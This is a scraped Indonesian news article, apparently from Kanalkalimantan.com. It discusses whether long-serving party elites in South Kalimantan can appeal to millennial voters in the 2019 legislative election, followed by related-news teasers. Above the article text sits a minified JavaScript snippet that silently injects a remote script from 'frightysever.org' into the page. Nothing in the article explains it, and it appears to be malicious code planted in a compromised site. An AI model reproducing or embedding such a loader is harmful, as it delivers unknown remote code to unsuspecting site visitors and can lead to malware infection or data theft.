(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pileg 2019 merupakan ajang pembuktian! Bukan hanya bagi partai politik yang berlaga dalam pemilu, tetapi juga bagi para aktor utamanya. Ya, mereka adalah para tokoh parpol Kalsel yang selama ini telah malang-melintang di jagad politik daerah dan nasional.
Para elite parpol itu– yang sebagain besar merupakan ketua partai, kader senior, atau tokoh masyarakat dan artis yang direkrut dalam daftar caleg, pastinya akan all out dalam menggenjot kenaikan suara partainya. Namun pertanyaannya, masih kuatkan pamor mereka berhadapan dengan pemilih milineal saat ini?
Berdasarkan proporsi usia pemilih, Pemilu 2019 akan diikuti oleh sekitar 40% pemilih usia 17-35 tahun. Itu artinya generasi milenial akan turut mewarnai peta politik 2019. Termasuk pilihan terhadap caleg, hingga presiden!
Karakter mendasar yang membedakan generasi X (36 tahun-55 tahun) maupun generasi baby boomers (55 tahun ke atas) dengan generasi milenial (17 tahun-35 tahun) adalah melek informasi dan terkoneksi (connected) melalui jejaring media sosial digital, yang terhubung melalui internet.
Media sosial yang kini menjadi salah satu ‘mesin politik’ efektif untuk melakukan propaganda politik maupun penetrasi isu adalah dunia yang sangat akrab dengan generasi milenial. Di titik inilah, karena typical mereka sebagai generasi digital native, yang sangat melek informasi dan kerap bercengkrama dengan smartphone dan media sosial, menjadikan generasi milenial sejatinya tidak hanya strategis secara kuantitas, tetapi juga amat penting sebagai salah satu ‘mesin’ propaganda isue politik dalam memobilisasi dukungan suara elektoral.
Walhasil, eksposure dan aktivitas digital generasi ini sangat berpengaruh pada sirkulasi isu-isu menjelang pemilu. Apalagi, konten digital sangat berpengaruh pada generasi pemilih matang yang lebih banyak menerima dibandingkan memverifikasi atau memproduksi konten sebagaimana yang dilakukan oleh generasi milenial.
Yang perlu dipahami, bahwa paling tidak ada tiga poin penting untuk membaca arah dan preferensi politik pemilih milenial. Pertama, potensi partisipasi politik dan kemantapan pilihan. Kedua,  sensitifitas pada isu sosial atau kebijakan. Dan ketiga, preferensi terhadap kandidat dan pilihan politiknya dalam pemilu, baik karakter kandidat yang disukai maupun dukungan personal terhadap kandidat.
Lalu, bagaimana menilai daya jual para elite parpol di Kalsel dalam pemilu mendatang? Sebab berdasarkan data yang dihimpun Kanalkalimantan.com, kenyataanya yang akan bertarung di palagan utama Kalsel untuk kursi caleg DPR RI masih diwarnai sebagian besar oleh wajah-wajah lama. Terutama untuk sejumlah parpol yang sebelumnya memiliki suara signifikan pada Pemilu 2014 lalu yakni, Partai Golkar, PDIP, PKB, Gerindra dan PPP yang menduduki posisi lima besar, serta parpol lain dengan suara yang juga cukup signifikan seperti PAN.
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
This website uses cookies.